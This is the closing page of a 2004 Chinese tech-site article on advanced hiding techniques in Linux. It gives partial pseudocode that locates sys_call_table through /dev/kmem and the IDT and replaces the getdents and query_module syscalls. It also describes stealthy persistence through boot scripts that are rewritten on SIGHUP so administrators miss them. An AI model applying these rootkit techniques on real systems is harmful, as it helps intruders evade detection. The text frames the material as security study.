您现在的位置: 天极网 > 软件频道 > 操作系统 > Linux > Linux环境下的高级隐藏技术
全文

Linux环境下的高级隐藏技术

2004-02-17 14:18作者:出处:论坛责任编辑:
  这段源代码首先保存相应的寄存器的值,然后判断系统调用号(在eax寄存器中)是否合法,继而对设置调试的情况进行处理,在所有这些进行完后,利用call *SYMBOL_NAME(sys_call_table)(,%eax,4) 来转入相应的系统调用进行处理,其中的SYMBOL_NAME(sys_call_table)得出的就是sys_call_table的地址。从上面的分析可以看出,当找到system_call函数之后,利用字符匹配来寻找相应call语句就可以确定sys_call_table的位置,因为call something(,%eax,4)的机器指令码是0xff 0x14 0x85。所以匹配这个指令码就行了。至于如何确定system_call的地址在背景知识中已经介绍了,下面给出相应的伪代码:

  struct{   //各字段含义可以参考背景知识中关于IDTR寄存器的介绍
  unsigned short limit;
  unsigned int base;
  }__attribute__((packed))idtr;
  struct{ //各字段含义可以参考背景知识中关于中断描述符的介绍
  unsigned short off1;
  unsigned short sel;
  unsigned char none,flags;
  unsigned short off2;
  }__attribute__((packed))idt;
  int kmem;
  / *下面函数用于从kemem对应的文件中偏移量为off处读取sz个字节至内存m处*/
  void readkmem(void *m,unsigned off,int sz) {………}
  /*下面函数用于从src读取count个字节至dest处*/
  void weitekmem(void *src,void *dest,unsigned int count) {………..}
  unsigned sct;  //用来存放sys_call_table地址
  char buff[100]; //用于存放system_call函数的前100个字节。
  char *p;
  if((kmem=open(“/dev/kmem”,O_RDONLY))<0)
  return 1;
  asm(“sidt %0” “:=m” (idtr));          //读取idtr寄存器的值至idtr结构中
  readkmem(&idt,idtr.base+8*0x80,sizeof(idt))    //将0x80描述符读至idt结构中
  sys_ call_off=(idt.off2<<16)|idt.off1;       //得到system_call函数的地址。
  readkmem(buff,sys_call_off,100)   //读取system_call函数的前100字节至buff
  p=(char *)memmem(buff,100,”xffx14x85”,3);  //得到call语句对应机器码的地址
  sct=(unsigned *)(p+3)            //得到sys_call_table的地址。

  至此已经得到了sys_call_table在内存中的位置,这样在根据系统调用号就能够找到相应的系统调用对应的地址,修改该地址就可以使用新的系统调函数,具体的做法如下:

  readkmem(&orig_getdents,sct+ SYS_getdents*4,4)//保存原来的系统调用
  readkmem(&orig_query_module,sct+SYS_query_module*4,4);
  writekmem(hacked_getdents,sct+SYS_getdents*4,4);//设置新的系统调用
  writekmem(hacket_query_module,sct+SYS_query_module*4,4);

  2.5 其他的相关技术

  上面已经完全解决了隐藏的相关技术问题,在实际应用中,可以把启动模块或者进程的代码做成脚本加入到相应的启动目录中,假设你的Linux运行级别为3,则可以加到目录rc3.d中(该目录常存在于/etc/rc.d或者/etc目录下),然后把该脚本的名字改为可以隐藏的名字。另一种方法就是在一些启动脚本中加入启动你的模块或者进程的代码,但这样比较容易被发现,一个解决思路就是进程或模块启动以后马上恢复正常的脚本,由于系统关机时会向所有进程发送SIGHUP信号,可以在进程或模块中处理该信号,使该信号发生时修改启动脚本,重新加入启动模块的代码,这样当系统下次启动时又可以加载这个的模块了,而且管理员察看启动脚本时也不会发现异常。

  3.结束语

  本文对Linux环境下的一些高级隐藏技术进行了分析研究,其中所涉及的技术不仅可以用在系统安全方面,在其他方面也有重要的借鉴意义。由于Linux的开放特性,使得攻击者一旦获得了root权限就能够对系统进行较多的修改,所以避免第一次被入侵是至关重要的。

共5页。 9 7 1 2 3 4 5

软件资讯·软件下载尽在天极软件

共5页。 首页 上一页 1 2 3 4 5
相关搜索:
关注此文读者还看过
热门关注
特别推荐
网友关注
软件下载
娱乐下载
驱动下载
文章排行
本周
本月
最近更新
关于我们|About us|网站律师|天极服务|电子杂志|RSS订阅|加入我们|网站地图
TMG
Copyright (C) 1999-2009 Chinabyte.com, All Rights Reserved 版权所有 天极网络
商务联系、网站内容、合作建议:010-82657868
版权声明 在线提交意见反馈 渝ICP证B2-20030003号
经营性网站备案信息 网警备案 中国网站排名
天极传媒:天极网|比特网|IT专家网|IT商网|52PK游戏网|IT分众